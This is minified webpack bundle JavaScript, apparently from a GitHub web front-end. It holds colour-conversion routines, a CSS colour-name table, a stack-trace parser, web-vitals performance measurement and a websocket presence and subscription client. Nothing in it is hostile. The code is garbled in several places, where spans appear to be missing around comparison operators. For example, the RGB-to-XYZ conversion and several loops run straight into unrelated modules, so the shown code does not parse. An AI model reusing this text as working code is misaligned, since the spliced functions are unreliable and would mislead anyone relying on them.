o=e[0]/255,t=e[1]/255,n=e[2]/255,r=Math.min(o,t,n),l=Math.max(o,t,n),u=l-r;let a,s;l===r?a=0:o===l?a=(t-n)/u:t===l?a=2+(n-o)/u:n===l&&(a=4+(o-t)/u),a=Math.min(a*60,360),a<0&&(a+=360);const c=(r+l)/2;return l===r?s=0:c<=.5?s=u/(l+r):s=u/(2-l-r),[a,s*100,c*100]},h.rgb.hsv=function(e){let o,t,n,r,l;const u=e[0]/255,a=e[1]/255,s=e[2]/255,c=Math.max(u,a,s),m=c-Math.min(u,a,s),d=i(function(p){return(c-p)/6/m+1/2},"diffc");return m===0?(r=0,l=0):(l=m/c,o=d(u),t=d(a),n=d(s),u===c?r=n-t:a===c?r=1/3+o-n:s===c&&(r=2/3+t-o),r<0?r+=1:r>1&&(r-=1)),[r*360,l*100,c*100]},h.rgb.hwb=function(e){const o=e[0],t=e[1];let n=e[2];const r=h.rgb.hsl(e)[0],l=1/255*Math.min(o,Math.min(t,n));return n=1-1/255*Math.max(o,Math.max(t,n)),[r,l*100,n*100]},h.rgb.cmyk=function(e){const o=e[0]/255,t=e[1]/255,n=e[2]/255,r=Math.min(1-o,1-t,1-n),l=(1-o-r)/(1-r)||0,u=(1-t-r)/(1-r)||0,a=(1-n-r)/(1-r)||0;return[l*100,u*100,a*100,r*100]};function v(e,o){return(e[0]-o[0])**2+(e[1]-o[1])**2+(e[2]-o[2])**2}i(v,"comparativeDistance"),h.rgb.keyword=function(e){const o=_[e];if(o)return o;let t=1/0,n;for(const r of Object.keys(b)){const l=b[r],u=v(e,l);u.04045?((o+.055)/1.055)**2.4:o/12.92,t=t>.04045?((t+.055)/1.055)**2.4:t/12.92,n=n>.04045?((n+.055)/1.055)**2.4:n/12.92;const r=o*.4124+t*.3576+n*.1805,l=o*.2126+t*.7152+n*.0722,u=o*.0193+t*.1192+n*.9505;return[r*100,l*100,u*100]},h.rgb.lab=function(e){const o=h.rgb.xyz(e);let t=o[0],n=o[1],r=o[2];t/=95.047,n/=100,r/=108.883,t=t>.008856?t**(1/3):7.787*t+16/116,n=n>.008856?n**(1/3):7.787*n+16/116,r=r>.008856?r**(1/3):7.787*r+16/116;const l=116*n-16,u=500*(t-n),a=200*(n-r);return[l,u,a]},h.hsl.rgb=function(e){const o=e[0]/360,t=e[1]/100,n=e[2]/100;let r,l,u;if(t===0)return u=n*255,[u,u,u];n<.5?r=n*(1+t):r=n+t-n*t;const a=2*n-r,s=[0,0,0];for(let c=0;c<3;c++)l=o+1/3*-(c-1),l<0&&l++,l>1&&l--,6*l<1?u=a+(r-a)*6*l:2*l<1?u=r:3*l<2?u=a+(r-a)*(2/3-l)*6:u=a,s[c]=u*255;return s},h.hsl.hsv=function(e){const o=e[0];let t=e[1]/100,n=e[2]/100,r=t;const l=Math.max(n,.01);n*=2,t*=n<=1?n:2-n,r*=l<=1?l:2-l;const u=(n+t)/2,a=n===0?2*r/(l+r):2*t/(n+t);return[o,a*100,u*100]},h.hsv.rgb=function(e){const o=e[0]/60,t=e[1]/100;let n=e[2]/100;const r=Math.floor(o)%6,l=o-Math.floor(o),u=255*n*(1-t),a=255*n*(1-t*l),s=255*n*(1-t*(1-l));switch(n*=255,r){case 0:return[n,s,u];case 1:return[a,n,u];case 2:return[u,n,s];case 3:return[u,a,n];case 4:return[s,u,n];case 5:return[n,u,a]}},h.hsv.hsl=function(e){const o=e[0],t=e[1]/100,n=e[2]/100,r=Math.max(n,.01);let l,u;u=(2-t)*n;const a=(2-t)*r;return l=t*r,l/=a<=1?a:2-a,l=l||0,u/=2,[o,l*100,u*100]},h.hwb.rgb=function(e){const o=e[0]/360;let t=e[1]/100,n=e[2]/100;const r=t+n;let l;r>1&&(t/=r,n/=r);const u=Math.floor(6*o),a=1-n;l=6*o-u,(u&1)!==0&&(l=1-l);const s=t+l*(a-t);let c,m,d;switch(u){default:case 6:case 0:c=a,m=s,d=t;break;case 1:c=s,m=a,d=t;break;case 2:c=t,m=a,d=s;break;case 3:c=t,m=s,d=a;break;case 4:c=s,m=t,d=a;break;case 5:c=a,m=t,d=s;break}return[c*255,m*255,d*255]},h.cmyk.rgb=function(e){const o=e[0]/100,t=e[1]/100,n=e[2]/100,r=e[3]/100,l=1-Math.min(1,o*(1-r)+r),u=1-Math.min(1,t*(1-r)+r),a=1-Math.min(1,n*(1-r)+r);return[l*255,u*255,a*255]},h.xyz.rgb=function(e){const o=e[0]/100,t=e[1]/100,n=e[2]/100;let r,l,u;return r=o*3.2406+t*-1.5372+n*-.4986,l=o*-.9689+t*1.8758+n*.0415,u=o*.0557+t*-.204+n*1.057,r=r>.0031308?1.055*r**(1/2.4)-.055:r*12.92,l=l>.0031308?1.055*l**(1/2.4)-.055:l*12.92,u=u>.0031308?1.055*u**(1/2.4)-.055:u*12.92,r=Math.min(Math.max(0,r),1),l=Math.min(Math.max(0,l),1),u=Math.min(Math.max(0,u),1),[r*255,l*255,u*255]},h.xyz.lab=function(e){let o=e[0],t=e[1],n=e[2];o/=95.047,t/=100,n/=108.883,o=o>.008856?o**(1/3):7.787*o+16/116,t=t>.008856?t**(1/3):7.787*t+16/116,n=n>.008856?n**(1/3):7.787*n+16/116;const r=116*t-16,l=500*(o-t),u=200*(t-n);return[r,l,u]},h.lab.xyz=function(e){const o=e[0],t=e[1],n=e[2];let r,l,u;l=(o+16)/116,r=t/500+l,u=l-n/200;const a=l**3,s=r**3,c=u**3;return l=a>.008856?a:(l-16/116)/7.787,r=s>.008856?s:(r-16/116)/7.787,u=c>.008856?c:(u-16/116)/7.787,r*=95.047,l*=100,u*=108.883,[r,l,u]},h.lab.lch=function(e){const o=e[0],t=e[1],n=e[2];let r;r=Math.atan2(n,t)*360/2/Math.PI,r<0&&(r+=360);const u=Math.sqrt(t*t+n*n);return[o,u,r]},h.lch.lab=function(e){const o=e[0],t=e[1],r=e[2]/360*2*Math.PI,l=t*Math.cos(r),u=t*Math.sin(r);return[o,l,u]},h.rgb.ansi16=function(e,o=null){const[t,n,r]=e;let l=o===null?h.rgb.hsv(e)[2]:o;if(l=Math.round(l/50),l===0)return 30;let u=30+(Math.round(r/255)<<2|Math.round(n/255)<<1|Math.round(t/255));return l===2&&(u+=60),u},h.hsv.ansi16=function(e){return h.rgb.ansi16(h.hsv.rgb(e),e[2])},h.rgb.ansi256=function(e){const o=e[0],t=e[1],n=e[2];return o===t&&t===n?o<8?16:o>248?231:Math.round((o-8)/247*24)+232:16+36*Math.round(o/255*5)+6*Math.round(t/255*5)+Math.round(n/255*5)},h.ansi16.rgb=function(e){let o=e%10;if(o===0||o===7)return e>50&&(o+=3.5),o=o/10.5*255,[o,o,o];const t=(~~(e>50)+1)*.5,n=(o&1)*t*255,r=(o>>1&1)*t*255,l=(o>>2&1)*t*255;return[n,r,l]},h.ansi256.rgb=function(e){if(e>=232){const l=(e-232)*10+8;return[l,l,l]}e-=16;let o;const t=Math.floor(e/36)/5*255,n=Math.floor((o=e%36)/6)/5*255,r=o%6/5*255;return[t,n,r]},h.rgb.hex=function(e){const t=(((Math.round(e[0])&255)<<16)+((Math.round(e[1])&255)<<8)+(Math.round(e[2])&255)).toString(16).toUpperCase();return"000000".substring(t.length)+t},h.hex.rgb=function(e){const o=e.toString(16).match(/[a-f0-9]{6}|[a-f0-9]{3}/i);if(!o)return[0,0,0];let t=o[0];o[0].length===3&&(t=t.split("").map(a=>a+a).join(""));const n=parseInt(t,16),r=n>>16&255,l=n>>8&255,u=n&255;return[r,l,u]},h.rgb.hcg=function(e){const o=e[0]/255,t=e[1]/255,n=e[2]/255,r=Math.max(Math.max(o,t),n),l=Math.min(Math.min(o,t),n),u=r-l;let a,s;return u<1?a=l/(1-u):a=0,u<=0?s=0:r===o?s=(t-n)/u%6:r===t?s=2+(n-o)/u:s=4+(o-t)/u,s/=6,s%=1,[s*360,u*100,a*100]},h.hsl.hcg=function(e){const o=e[1]/100,t=e[2]/100,n=t<.5?2*o*t:2*o*(1-t);let r=0;return n<1&&(r=(t-.5*n)/(1-n)),[e[0],n*100,r*100]},h.hsv.hcg=function(e){const o=e[1]/100,t=e[2]/100,n=o*t;let r=0;return n<1&&(r=(t-n)/(1-n)),[e[0],n*100,r*100]},h.hcg.rgb=function(e){const o=e[0]/360,t=e[1]/100,n=e[2]/100;if(t===0)return[n*255,n*255,n*255];const r=[0,0,0],l=o%1*6,u=l%1,a=1-u;let s=0;switch(Math.floor(l)){case 0:r[0]=1,r[1]=u,r[2]=0;break;case 1:r[0]=a,r[1]=1,r[2]=0;break;case 2:r[0]=0,r[1]=1,r[2]=u;break;case 3:r[0]=0,r[1]=a,r[2]=1;break;case 4:r[0]=u,r[1]=0,r[2]=1;break;default:r[0]=1,r[1]=0,r[2]=a}return s=(1-t)*n,[(t*r[0]+s)*255,(t*r[1]+s)*255,(t*r[2]+s)*255]},h.hcg.hsv=function(e){const o=e[1]/100,t=e[2]/100,n=o+t*(1-o);let r=0;return n>0&&(r=o/n),[e[0],r*100,n*100]},h.hcg.hsl=function(e){const o=e[1]/100,n=e[2]/100*(1-o)+.5*o;let r=0;return n>0&&n<.5?r=o/(2*n):n>=.5&&n<1&&(r=o/(2*(1-n))),[e[0],r*100,n*100]},h.hcg.hwb=function(e){const o=e[1]/100,t=e[2]/100,n=o+t*(1-o);return[e[0],(n-o)*100,(1-n)*100]},h.hwb.hcg=function(e){const o=e[1]/100,t=e[2]/100,n=1-t,r=n-o;let l=0;return r<1&&(l=(n-r)/(1-r)),[e[0],r*100,l*100]},h.apple.rgb=function(e){return[e[0]/65535*255,e[1]/65535*255,e[2]/65535*255]},h.rgb.apple=function(e){return[e[0]/255*65535,e[1]/255*65535,e[2]/255*65535]},h.gray.rgb=function(e){return[e[0]/100*255,e[0]/100*255,e[0]/100*255]},h.gray.hsl=function(e){return[0,0,e[0]]},h.gray.hsv=h.gray.hsl,h.gray.hwb=function(e){return[0,100,e[0]]},h.gray.cmyk=function(e){return[0,0,0,e[0]]},h.gray.lab=function(e){return[e[0],0,0]},h.gray.hex=function(e){const o=Math.round(e[0]/100*255)&255,n=((o<<16)+(o<<8)+o).toString(16).toUpperCase();return"000000".substring(n.length)+n},h.rgb.gray=function(e){return[(e[0]+e[1]+e[2])/3/255*100]}},12085:(N,M,E)=>{const b=E(48168),_=E(4111),h={},v=Object.keys(b);function e(t){const n=i(function(...r){const l=r[0];return l==null?l:(l.length>1&&(r=l),t(r))},"wrappedFn");return"conversion"in t&&(n.conversion=t.conversion),n}i(e,"wrapRaw");function o(t){const n=i(function(...r){const l=r[0];if(l==null)return l;l.length>1&&(r=l);const u=t(r);if(typeof u=="object")for(let a=u.length,s=0;s{h[t]={},Object.defineProperty(h[t],"channels",{value:b[t].channels}),Object.defineProperty(h[t],"labels",{value:b[t].labels});const n=_(t);Object.keys(n).forEach(l=>{const u=n[l];h[t][l]=o(u),h[t][l].raw=e(u)})}),N.exports=h},39092:N=>{"use strict";N.exports={aliceblue:[240,248,255],antiquewhite:[250,235,215],aqua:[0,255,255],aquamarine:[127,255,212],azure:[240,255,255],beige:[245,245,220],bisque:[255,228,196],black:[0,0,0],blanchedalmond:[255,235,205],blue:[0,0,255],blueviolet:[138,43,226],brown:[165,42,42],burlywood:[222,184,135],cadetblue:[95,158,160],chartreuse:[127,255,0],chocolate:[210,105,30],coral:[255,127,80],cornflowerblue:[100,149,237],cornsilk:[255,248,220],crimson:[220,20,60],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgoldenrod:[184,134,11],darkgray:[169,169,169],darkgreen:[0,100,0],darkgrey:[169,169,169],darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkseagreen:[143,188,143],darkslateblue:[72,61,139],darkslategray:[47,79,79],darkslategrey:[47,79,79],darkturquoise:[0,206,209],darkviolet:[148,0,211],deeppink:[255,20,147],deepskyblue:[0,191,255],dimgray:[105,105,105],dimgrey:[105,105,105],dodgerblue:[30,144,255],firebrick:[178,34,34],floralwhite:[255,250,240],forestgreen:[34,139,34],fuchsia:[255,0,255],gainsboro:[220,220,220],ghostwhite:[248,248,255],gold:[255,215,0],goldenrod:[218,165,32],gray:[128,128,128],green:[0,128,0],greenyellow:[173,255,47],grey:[128,128,128],honeydew:[240,255,240],hotpink:[255,105,180],indianred:[205,92,92],indigo:[75,0,130],ivory:[255,255,240],khaki:[240,230,140],lavender:[230,230,250],lavenderblush:[255,240,245],lawngreen:[124,252,0],lemonchiffon:[255,250,205],lightblue:[173,216,230],lightcoral:[240,128,128],lightcyan:[224,255,255],lightgoldenrodyellow:[250,250,210],lightgray:[211,211,211],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightsalmon:[255,160,122],lightseagreen:[32,178,170],lightskyblue:[135,206,250],lightslategray:[119,136,153],lightslategrey:[119,136,153],lightsteelblue:[176,196,222],lightyellow:[255,255,224],lime:[0,255,0],limegreen:[50,205,50],linen:[250,240,230],magenta:[255,0,255],maroon:[128,0,0],mediumaquamarine:[102,205,170],mediumblue:[0,0,205],mediumorchid:[186,85,211],mediumpurple:[147,112,219],mediumseagreen:[60,179,113],mediumslateblue:[123,104,238],mediumspringgreen:[0,250,154],mediumturquoise:[72,209,204],mediumvioletred:[199,21,133],midnightblue:[25,25,112],mintcream:[245,255,250],mistyrose:[255,228,225],moccasin:[255,228,181],navajowhite:[255,222,173],navy:[0,0,128],oldlace:[253,245,230],olive:[128,128,0],olivedrab:[107,142,35],orange:[255,165,0],orangered:[255,69,0],orchid:[218,112,214],palegoldenrod:[238,232,170],palegreen:[152,251,152],paleturquoise:[175,238,238],palevioletred:[219,112,147],papayawhip:[255,239,213],peachpuff:[255,218,185],peru:[205,133,63],pink:[255,192,203],plum:[221,160,221],powderblue:[176,224,230],purple:[128,0,128],rebeccapurple:[102,51,153],red:[255,0,0],rosybrown:[188,143,143],royalblue:[65,105,225],saddlebrown:[139,69,19],salmon:[250,128,114],sandybrown:[244,164,96],seagreen:[46,139,87],seashell:[255,245,238],sienna:[160,82,45],silver:[192,192,192],skyblue:[135,206,235],slateblue:[106,90,205],slategray:[112,128,144],slategrey:[112,128,144],snow:[255,250,250],springgreen:[0,255,127],steelblue:[70,130,180],tan:[210,180,140],teal:[0,128,128],thistle:[216,191,216],tomato:[255,99,71],turquoise:[64,224,208],violet:[238,130,238],wheat:[245,222,179],white:[255,255,255],whitesmoke:[245,245,245],yellow:[255,255,0],yellowgreen:[154,205,50]}},4111:(N,M,E)=>{const b=E(48168);function _(){const o={},t=Object.keys(b);for(let n=t.length,r=0;r{"use strict";E.d(M,{_8:()=>b,uQ:()=>_});function b(e,o){return _(h(e),o)}i(b,"preserveAnchorNodePosition");function _(e,o){var t=e;if(!t)return Promise.resolve(o());var n=t.ownerDocument.documentElement;function r(a){for(var s=[];a;){var c=a.getBoundingClientRect(),m=c.top,d=c.left;s.push({element:a,top:m,left:d}),a=a.parentElement}return s}i(r,"computeAncestorBoundingRects");function l(a){for(var s=0;s{"use strict";E.d(M,{Q:()=>_});var b="";function _(m){var d=m.split(` +`);return d.reduce(function(p,g){var w=e(g)||t(g)||l(g)||c(g)||a(g);return w&&p.push(w),p},[])}i(_,"parse");var h=/^\s*at (.*?) ?\(((?:file|https?|blob|chrome-extension|native|eval|webpack||\/).*?)(?::(\d+))?(?::(\d+))?\)?\s*$/i,v=/\((\S*)(?::(\d+))(?::(\d+))\)/;function e(m){var d=h.exec(m);if(!d)return null;var p=d[2]&&d[2].indexOf("native")===0,g=d[2]&&d[2].indexOf("eval")===0,w=v.exec(d[2]);return g&&w!=null&&(d[2]=w[1],d[3]=w[2],d[4]=w[3]),{file:p?null:d[2],methodName:d[1]||b,arguments:p?[d[2]]:[],lineNumber:d[3]?+d[3]:null,column:d[4]?+d[4]:null}}i(e,"parseChrome");var o=/^\s*at (?:((?:\[object object\])?.+) )?\(?((?:file|ms-appx|https?|webpack|blob):.*?):(\d+)(?::(\d+))?\)?\s*$/i;function t(m){var d=o.exec(m);return d?{file:d[2],methodName:d[1]||b,arguments:[],lineNumber:+d[3],column:d[4]?+d[4]:null}:null}i(t,"parseWinjs");var n=/^\s*(.*?)(?:\((.*?)\))?(?:^|@)((?:file|https?|blob|chrome|webpack|resource|\[native).*?|[^@]*bundle)(?::(\d+))?(?::(\d+))?\s*$/i,r=/(\S+) line (\d+)(?: > eval line \d+)* > eval/i;function l(m){var d=n.exec(m);if(!d)return null;var p=d[3]&&d[3].indexOf(" > eval")>-1,g=r.exec(d[3]);return p&&g!=null&&(d[3]=g[1],d[4]=g[2],d[5]=null),{file:d[3],methodName:d[1]||b,arguments:d[2]?d[2].split(","):[],lineNumber:d[4]?+d[4]:null,column:d[5]?+d[5]:null}}i(l,"parseGecko");var u=/^\s*(?:([^@]*)(?:\((.*?)\))?@)?(\S.*?):(\d+)(?::(\d+))?\s*$/i;function a(m){var d=u.exec(m);return d?{file:d[3],methodName:d[1]||b,arguments:[],lineNumber:+d[4],column:d[5]?+d[5]:null}:null}i(a,"parseJSC");var s=/^\s*at (?:((?:\[object object\])?[^\\/]+(?: \[as \S+\])?) )?\(?(.*?):(\d+)(?::(\d+))?\)?\s*$/i;function c(m){var d=s.exec(m);return d?{file:d[2],methodName:d[1]||b,arguments:[],lineNumber:+d[3],column:d[4]?+d[4]:null}:null}i(c,"parseNode")},82131:(N,M,E)=>{"use strict";E.d(M,{CA:()=>ne,Tb:()=>te,Tx:()=>X,Y:()=>c,kz:()=>p});var b,_,h,v,e=i(function(P,T){return{name:P,value:T===void 0?-1:T,delta:0,entries:[],id:"v2-".concat(Date.now(),"-").concat(Math.floor(8999999999999*Math.random())+1e12)}},"r"),o=i(function(P,T){try{if(PerformanceObserver.supportedEntryTypes.includes(P)){if(P==="first-input"&&!("PerformanceEventTiming"in self))return;var A=new PerformanceObserver(function(R){return R.getEntries().map(T)});return A.observe({type:P,buffered:!0}),A}}catch{}},"a"),t=i(function(P,T){var A=i(function R(S){S.type!=="pagehide"&&document.visibilityState!=="hidden"||(P(S),T&&(removeEventListener("visibilitychange",R,!0),removeEventListener("pagehide",R,!0)))},"n");addEventListener("visibilitychange",A,!0),addEventListener("pagehide",A,!0)},"o"),n=i(function(P){addEventListener("pageshow",function(T){T.persisted&&P(T)},!0)},"u"),r=i(function(P,T,A){var R;return function(S){T.value>=0&&(S||A)&&(T.delta=T.value-(R||0),(T.delta||R===void 0)&&(R=T.value,P(T)))}},"c"),l=-1,u=i(function(){return document.visibilityState==="hidden"?0:1/0},"s"),a=i(function(){t(function(P){var T=P.timeStamp;l=T},!0)},"m"),s=i(function(){return l<0&&(l=u(),a(),n(function(){setTimeout(function(){l=u(),a()},0)})),{get firstHiddenTime(){return l}}},"v"),c=i(function(P,T){var A,R=s(),S=e("FCP"),F=i(function(H){H.name==="first-contentful-paint"&&(U&&U.disconnect(),H.startTime-1&&P(B)},"i"),S=e("CLS",0),F=0,D=[],U=i(function(B){if(!B.hadRecentInput){var re=D[0],G=D[D.length-1];F&&B.startTime-G.startTime<1e3&&B.startTime-re.startTime<5e3?(F+=B.value,D.push(B)):(F=B.value,D=[B]),F>S.value&&(S.value=F,S.entries=D,A())}},"v"),H=o("layout-shift",U);H&&(A=r(R,S,T),t(function(){H.takeRecords().map(U),A(!0)}),n(function(){F=0,d=-1,S=e("CLS",0),A=r(R,S,T)}))},"h"),g={passive:!0,capture:!0},w=new Date,x=i(function(P,T){b||(b=T,_=P,h=new Date,z(removeEventListener),I())},"g"),I=i(function(){if(_>=0&&_1e12?new Date:performance.now())-P.timeStamp;P.type=="pointerdown"?function(A,R){var S=i(function(){x(A,R),D()},"n"),F=i(function(){D()},"i"),D=i(function(){removeEventListener("pointerup",S,g),removeEventListener("pointercancel",F,g)},"r");addEventListener("pointerup",S,g),addEventListener("pointercancel",F,g)}(T,P):x(T,P)}},"S"),z=i(function(P){["mousedown","keydown","touchstart","pointerdown"].forEach(function(T){return P(T,$,g)})},"w"),X=i(function(P,T){var A,R=s(),S=e("FID"),F=i(function(U){U.startTimeperformance.now())return;A.entries=[R],P(A)}catch{}},"t"),document.readyState==="complete"?setTimeout(T,0):addEventListener("load",function(){return setTimeout(T,0)})},"P")},27907:(N,M,E)=>{"use strict";E.d(M,{a:()=>l});var b=E(81855),_=E(60835),h=E(16544),v=E(75658),e=E(80955),o=E(29871),t;(function(u){u.Deploy="Alive Redeploy",u.Reconnect="Alive Reconnect"})(t||(t={}));function n(){return`${Math.round(Math.random()*(Math.pow(2,31)-1))}_${Math.round(Date.now()/1e3)}`}i(n,"generatePresenceId");function r(u){const a=u.match(/\/u\/(\d+)\/ws/);return a?+a[1]:0}i(r,"getUserIdFromSocketUrl");class l{constructor(a,s,c,m){this.url=a,this.getUrl=s,this.inSharedWorker=c,this.notify=m,this.subscriptions=new v.v,this.state="online",this.retrying=null,this.connectionCount=0,this.presence=new b.k2,this.presenceMetadata=new _.a,this.intentionallyDisconnected=!1,this.lastCameOnline=0,this.userId=r(a),this.presenceId=n(),this.presenceKey=(0,b.Hw)(this.userId,this.presenceId),this.socket=this.connect()}subscribe(a){const s=this.subscriptions.add(...a);this.sendSubscribe(s);for(const c of a){const m=c.topic.name;!(0,b.A)(m)||this.notifyCachedPresence(c.subscriber,m)}}unsubscribe(a){const s=this.subscriptions.delete(...a);this.sendUnsubscribe(s)}unsubscribeAll(...a){const s=this.subscriptions.drain(...a);this.sendUnsubscribe(s);const c=this.presenceMetadata.removeSubscribers(a);this.sendPresenceMetadataUpdate(c)}requestPresence(a,s){for(const c of s)this.notifyCachedPresence(a,c)}notifyCachedPresence(a,s){const c=this.presence.getChannelItems(s);c.length!==0&&this.notifyPresenceChannel(s,c)}updatePresenceMetadata(a){const s=new Set;for(const c of a)this.presenceMetadata.setMetadata(c),s.add(c.channelName);this.sendPresenceMetadataUpdate(s)}sendPresenceMetadataUpdate(a){if(!a.size)return;const s=[];for(const c of a){const m=this.subscriptions.topic(c);m&&s.push(m)}this.sendSubscribe(s)}online(){var a;this.lastCameOnline=Date.now(),this.state="online",(a=this.retrying)===null||a===void 0||a.abort(),this.socket.open()}offline(){var a;this.state="offline",(a=this.retrying)===null||a===void 0||a.abort(),this.socket.close()}shutdown(){this.inSharedWorker&&self.close()}get reconnectWindow(){const a=Date.now()-this.lastCameOnline<6e4;return this.connectionCount===0||this.intentionallyDisconnected||a?0:10*1e3}socketDidOpen(){this.intentionallyDisconnected=!1,this.connectionCount++,this.socket.url=this.getUrlWithPresenceId(),this.sendSubscribe(this.subscriptions.topics())}socketDidClose(a,s,c){if(this.redeployEarlyReconnectTimeout!==void 0&&clearTimeout(this.redeployEarlyReconnectTimeout),c==="Alive Reconnect")this.intentionallyDisconnected=!0;else if(c==="Alive Redeploy"){this.intentionallyDisconnected=!0;const d=(3+Math.random()*22)*60*1e3;this.redeployEarlyReconnectTimeout=setTimeout(()=>{this.intentionallyDisconnected=!0,this.socket.close(1e3,"Alive Redeploy Early Client Reconnect")},d)}}socketDidFinish(){this.state!=="offline"&&this.reconnect()}socketDidReceiveMessage(a,s){const c=JSON.parse(s);switch(c.e){case"ack":{this.handleAck(c);break}case"msg":{this.handleMessage(c);break}}}handleAck(a){for(const s of this.subscriptions.topics())s.offset=a.off}handleMessage(a){const s=a.ch,c=this.subscriptions.topic(s);if(!!c){if(c.offset=a.off,"e"in a.data){const m=this.presence.handleMessage(s,a.data);this.notifyPresenceChannel(s,m);return}a.data.wait||(a.data.wait=0),this.notify(this.subscriptions.subscribers(s),{channel:s,type:"message",data:a.data})}}notifyPresenceChannel(a,s){var c,m;const d=new Map;for(const p of s){const{userId:g,metadata:w,presenceKey:x}=p,I=d.get(g)||{userId:g,isOwnUser:g===this.userId,metadata:[]};if(x!==this.presenceKey){for(const $ of w){if(_.Z in $){I.isIdle!==!1&&(I.isIdle=Boolean($[_.Z]));continue}I.metadata.push($)}d.set(g,I)}}for(const p of this.subscriptions.subscribers(a)){const g=this.userId,w=Array.from(d.values()).filter($=>$.userId!==g),x=(m=(c=d.get(this.userId))===null||c===void 0?void 0:c.metadata)!==null&&m!==void 0?m:[],I=this.presenceMetadata.getChannelMetadata(a,{subscriber:p,markAllAsLocal:!this.inSharedWorker});this.notify([p],{channel:a,type:"presence",data:[{userId:g,isOwnUser:!0,metadata:[...x,...I]},...w]})}}async reconnect(){if(!this.retrying)try{this.retrying=new AbortController;const a=await(0,o.X)(this.getUrl,1/0,6e4,this.retrying.signal);a?(this.url=a,this.socket=this.connect()):this.shutdown()}catch(a){if(a.name!=="AbortError")throw a}finally{this.retrying=null}}getUrlWithPresenceId(){const a=new URL(this.url,self.location.origin);return a.searchParams.set("shared",this.inSharedWorker.toString()),a.searchParams.set("p",`${this.presenceId}.${this.connectionCount}`),a.toString()}connect(){const a=new h.Oo(this.getUrlWithPresenceId(),this,{timeout:4e3,attempts:7});return a.open(),a}sendSubscribe(a){const s=Array.from(a);for(const c of(0,e.o)(s,25)){const m={};for(const d of c)(0,b.A)(d.name)?m[d.signed]=JSON.stringify(this.presenceMetadata.getChannelMetadata(d.name)):m[d.signed]=d.offset;this.socket.send(JSON.stringify({subscribe:m}))}}sendUnsubscribe(a){const s=Array.from(a,c=>c.signed);for(const c of(0,e.o)(s,25))this.socket.send(JSON.stringify({unsubscribe:c}));for(const c of a)(0,b.A)(c.name)&&this.presence.clearChannel(c.name)}}i(l,"AliveSession")},29871:(N,M,E)=>{"use strict";E.d(M,{X:()=>v});function b(e){return new Promise((o,t)=>{const n=new Error("aborted");n.name="AbortError",e.aborted?t(n):e.addEventListener("abort",()=>t(n))})}i(b,"whenAborted");async function _(e,o){let t;const n=new Promise(r=>{t=self.setTimeout(r,e)});if(!o)return n;try{await Promise.race([n,b(o)])}catch(r){throw self.clearTimeout(t),r}}i(_,"wait");function h(e){return Math.floor(Math.random()*Math.floor(e))}i(h,"rand");async function v(e,o,t=1/0,n){const r=n?b(n):null;for(let l=0;l{"use strict";E.d(M,{A:()=>h.A,ZE:()=>_.Z,Zf:()=>e.Z,a2:()=>b.a,ah:()=>_.a,vk:()=>v.v});var b=E(27907),_=E(60835),h=E(81855),v=E(75658),e=E(72993)},80955:(N,M,E)=>{"use strict";E.d(M,{o:()=>b});function*b(_,h){for(let v=0;v<_.length;v+=h)yield _.slice(v,v+h)}i(b,"eachSlice")},60835:(N,M,E)=>{"use strict";E.d(M,{Z:()=>b,a:()=>v});const b="_i";function _(e){return Object.assign(Object.assign({},e),{isLocal:!0})}i(_,"markMetadataAsLocal");class h{constructor(){this.subscriberMetadata=new Map}setMetadata(o,t){this.subscriberMetadata.set(o,t)}removeSubscribers(o){let t=!1;for(const n of o)t=this.subscriberMetadata.delete(n)||t;return t}getMetadata(o){if(!o){const l=[];let u;for(const a of this.subscriberMetadata.values())for(const s of a)if(b in s){const c=Boolean(s[b]);u=u===void 0?c:c&&u}else l.push(s);return u!==void 0&&l.push({[b]:u?1:0}),l}const t=[],{subscriber:n,markAllAsLocal:r}=o;for(const[l,u]of this.subscriberMetadata){const s=r||l===n?u.map(_):u;t.push(...s)}return t}hasSubscribers(){return this.subscriberMetadata.size>0}}i(h,"PresenceMetadataForChannel");class v{constructor(){this.metadataByChannel=new Map}setMetadata({subscriber:o,channelName:t,metadata:n}){let r=this.metadataByChannel.get(t);r||(r=new h,this.metadataByChannel.set(t,r)),r.setMetadata(o,n)}removeSubscribers(o){const t=new Set;for(const[n,r]of this.metadataByChannel)r.removeSubscribers(o)&&t.add(n),r.hasSubscribers()||this.metadataByChannel.delete(n);return t}getChannelMetadata(o,t){const n=this.metadataByChannel.get(o);return(n==null?void 0:n.getMetadata(t))||[]}}i(v,"PresenceMetadataSet")},81855:(N,M,E)=>{"use strict";E.d(M,{A:()=>v,Hw:()=>b,k2:()=>o});function b(t,n){return`${t}:${n}`}i(b,"getPresenceKey");function _(t){const[n,r]=t.p.split(".");return{userId:t.u,presenceKey:b(t.u,n),connectionCount:Number(r),metadata:t.m||[]}}i(_,"decompressItem");const h="presence-";function v(t){return t.startsWith(h)}i(v,"isPresenceChannel");class e{constructor(){this.presenceItems=new Map}shouldUsePresenceItem(n){const r=this.presenceItems.get(n.presenceKey);return!r||r.connectionCount<=n.connectionCount}addPresenceItem(n){!this.shouldUsePresenceItem(n)||this.presenceItems.set(n.presenceKey,n)}removePresenceItem(n){!this.shouldUsePresenceItem(n)||this.presenceItems.delete(n.presenceKey)}replacePresenceItems(n){this.presenceItems.clear();for(const r of n)this.addPresenceItem(r)}getPresenceItems(){return Array.from(this.presenceItems.values())}}i(e,"PresenceChannel");class o{constructor(){this.presenceChannels=new Map}getPresenceChannel(n){const r=this.presenceChannels.get(n)||new e;return this.presenceChannels.set(n,r),r}handleMessage(n,r){const l=this.getPresenceChannel(n);switch(r.e){case"pf":l.replacePresenceItems(r.d.map(_));break;case"pa":l.addPresenceItem(_(r.d));break;case"pr":l.removePresenceItem(_(r.d));break}return this.getChannelItems(n)}getChannelItems(n){return this.getPresenceChannel(n).getPresenceItems()}clearChannel(n){this.presenceChannels.delete(n)}}i(o,"AlivePresence")},75658:(N,M,E)=>{"use strict";E.d(M,{v:()=>_});var b=E(61268);class _{constructor(){this.subscriptions=new b.Z,this.signatures=new Map}add(...v){const e=[];for(const{subscriber:o,topic:t}of v)this.subscriptions.has(t.name)||(e.push(t),this.signatures.set(t.name,t)),this.subscriptions.set(t.name,o);return e}delete(...v){const e=[];for(const{subscriber:o,topic:t}of v)this.subscriptions.delete(t.name,o)&&!this.subscriptions.has(t.name)&&(e.push(t),this.signatures.delete(t.name));return e}drain(...v){const e=[];for(const o of v)for(const t of this.subscriptions.drain(o)){const 